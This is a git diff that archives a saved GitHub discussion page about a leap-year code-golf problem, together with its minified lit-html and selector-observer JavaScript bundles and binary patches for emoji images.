*/const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 1: Leap year · Discussion #3 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #3  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 1: Leap year + + #3 +

    +
    + Unanswered +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 1: Leap year + + #3 +
    +
    +
    + + +
    + on Apr 15, 2021 + · + 1 answer +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Maintainer + + + +
    + + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    Testing if GitHub discussions works well for organizing these problems

    +
    + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 1 suggested answer +
    + +
    + + +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 30, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    https://github.com/Ta180m/Idiot-Code-Golf/blob/main/leap-year/ly.c

    +

    Self-documenting code.

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 1 participant +
    +
    + + @Ta180m +
    +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 zcmV;r3`O&aP)NM3lG;3?Wv!?J=#^G%R&STRV<0GpMz7YO~$eG0ki>YA9lby4oO?G2 zc##mmnSM|Z5R_UbBY+UxaViOh*n2m09TU=tfX0Az%!mO`z^IgRKLqnrJ18d3(fj6i zO|>CfCVD`C1XWltn#k7A1J@fpgY~ApAzIUSR35n6Rg8|22Wy!LL@oUs^!@Ij3Hu1G z4h=vpd(Phb1W=HUE+S-5gJmG_LNwqk-J!g-rd`e^0G^k6fGYexm@iX+DzMvsJ2bh{ zALG*E-c3#>H4{*5Z}&s=^lJ3$tIm)%EC>yO*svs=^K-Q3jy1#v1yJ1>fm%j^@rY@U zHMF|t3rV7e;KY}?1zZJ+a_RaG$>%uH$LwT!Ca-sH7jX}0WO+DOD;n_30RetVRRUax z0S!9Y!QSnLTJ{fH3kcL3C*cI;Tn4BQ(KBOvG0$9_(s=3L23euKO>^b;QH3DtnfPaqj z#lV~ZFX}grU_JfZf5DTCgz?Ci>Z^g1WTUmAk8SWzs~Fy6@UgNW1l@qrH{p)YcEY;$ z;hE!tG_`7!a}o39R)gSQrg}Lr*yXajK0m@KRpC7;v?NGh7C`mo2wZEtCrD@7)@$$! z!@Uvw_bm8ZsSvPZC%R$*FPj)$;CWZmSz<}4M=AjevcgwjB*G2Foc zOF(v+NS#wcJQ~dckCi=-&mUkx*uBn+RTo9Lu5)P6#mdc2CO<^KKbo5i`4w*a!IEQiObu5l9+Nt^$S^r!r zh56D*_ORu|ftxY+j&y$Q9C)TVC9tK^4`Tc&L&X^}u&V+<{a)^(a4f4hB!PvLHfhBWiHYP;RGW=t&F9X|?1TdE3 zU*Mr$hbyYbNI6Zq*&`S0`il_?^&Xh!-^OMM8Beg$TjEK1x!!e0g2IaSfWIm zheRk9+Nh`~H!k2UL@VgcyaY4?EF?=B;RZY6@99k&IZSe6TM3t|a)3tNsvpqn5G@>>Zi#cL!Jki!pYx7i9@ zL0USYYmb4XF-&WpV*1Lb?(}H*P^>G>34%D>;bqYTsC^?UiRaX?Y~IZM>=9TMI>{;l zT6!rb->c~7yRp7lg}a%`Mg7)L9sRpIPC)HZ$>oXzBO&$W$pjb&)Uhq)V#7|=V?Wnu zBK~Ck;=~k-K%1>qZ^ZxaIQW)g;pFlI{!m}!1D|Y=0T&3nO9Cne2~*C1Ju#0mNS^tI znBQ;AAS&R%x1a*H_KQoG`eQy>%zl4pJ~bR#PIY1RBE z{T+3mi2qalVL%DxR&z*FQ+db_;Pf!oKFtVYRj|C9DtK2l4VpFKkcLkZL*kT*b1PnW zdSLVbnu~@nB)i{mT+~58+b14uEQlj1(E$nQ`*1^ZFVt%y;O}gPATfayQHrk?O~4ak ze;*B*UPfk@AG8#E5%3+x6!^kY)eK1JrjbFBdXlZ|(6%(@ zsaN{1{C9X{o07%Qn1+B2LjX#K@klTvPUy%A8&%URz%!b$kfok#(>;iK5~CGOmtx2L z4Le5f+MEN=gp77x^xq_? zW|Dp2_Id=LP66b&@(8$znIZYbDQs|Cg`l>g{BzZlN#JuB9ErQss>g7IIkXBSW-WJ% zyppui?7aIqxp(ZH{6F;?U6CtktPIXVeM=L5 z4WC75*_;~o;CekJ(UE+s^_DkJgi>Vqs+;PvJ1EyNYrAK{Zv>G5k?G^@eqFh66-qV zzT*YFjSBqjrSB2(4@{vSoARL0tup~;clgATgtB}IA%Q&zt*}7?x(OQ_T9AOf>h{dA z!kil4w6z{i4Xyaxflr$2C+;Hz*|>-qPh5c`;XHfO-Q58nyWdy7-w*1J`j`P0SRrBS z5WsgWNT@s{hBu#!VwJEwnomNun%#X;A6R^jl_mL|U#z#*rK8AII=Mn;zn?4hA=hdg zxI~*cuoI0c*~z_kj3dkOxO&tlokscJI4Q7{`hGXQJ8X0TC>m<K&!6dhOe8zV%EzVlY?<-2> zc$6MvZN1!ol*E&-?UBI65XUvgt)0VOH6@Fne#>wI#JZh8*>7>N?h+qay2R-W87$XK z@8}~Wt7q`Qo85qrrPyx;6_rr;%+XUpu^^!noi#`fv6;Pp=U{^E<8pd);i4 zfa<_(z;_Aq{RgfVm1Ese5oE?q6cdmtE=PQ=61bOO4Akc1fdaa$)u5(7HYpQW`SA%AcR0X2ukM~wM+^4sIi2eJ)8 z6cfO9jL3eMYdh$4zTJ9vDEw*=LPgF9UWyN$&LGq?M*_U4{y1uLgcpqYBXIE^{N2R##`kTm96s*e z(Isj+A;5!?FEE88!BptqYAp0WW6TeD_3Z9oasO_7>>2tHvsM7r2BGa>cfgIOhPL$- z++61dS2F~_7<|E$>j!k<$e-y#|Ky7~0m0Nj8P~TCJ5lzwH#DW9q~1HIM<{aSRpI@9~>>TNzxQv-3-t@pf1uMt99x{Ep39kUE}w~IZoF)D=e z0}`MyQ_$Na*DE%PN~_=ZNk}4xjDb3uPr8qzbHq@a=E?K()@`oPctikIm>EcVEXyC! zjDfPGtibPul5D95H5f+2hr*R*`y|kG%!>p&Rt4A7hC)@c7tm|G!ANADCH~Qv=ePLm zZjqQ8Y@?~zQ*F$XK;=OnOj{x_X8Ax_3g&FR@McY>;ABmf_atgC4*<%g?yxA6E|gsV sWv}GQFMItmF7A>{r0$NpV^EL(0DGp^W~b0{$N&HU07*qoM6N<$f};FOa{vGU literal 0 HcmV?d00001 diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 zcmVA}7XIZFluOYS!ntP7T$2PeVL`xyGl6BMNw8~nMb+y11T~PtupyVVWglIyz z6C(&>LKFikStFn%0dsI91O<}JOzvxvnSA@Y%|B%J&m?~?7%5)WS2H#9|NY+ky8HF( z*Dc(VTXIW!RIUaK<4S^szv_d9HH2-1ZwcoJ7YU^dhG3z9KJy4i>DjIN5Mi|;NSLqR zD2)8wIb8Iia0fZ`7eXvKR75}*QAmVDmIMj2&V>p69oBJusNhY;ZYET=bilZ&4=Q#K zK~2&K)O|Y+rXQ7P{Mi-e95-0b>lpa=#xpK3om8Usn{lW~z7G|<2E!2E+lCAp9R?y} zgFaADI*jASK*5I$`?95><#BhS<|`-eR8ygMm(Y-oV_dp+dn@GeJ7BqX@@hefnKvK3t?DdNHq1+fU>PCQ%w({+FwwxLt 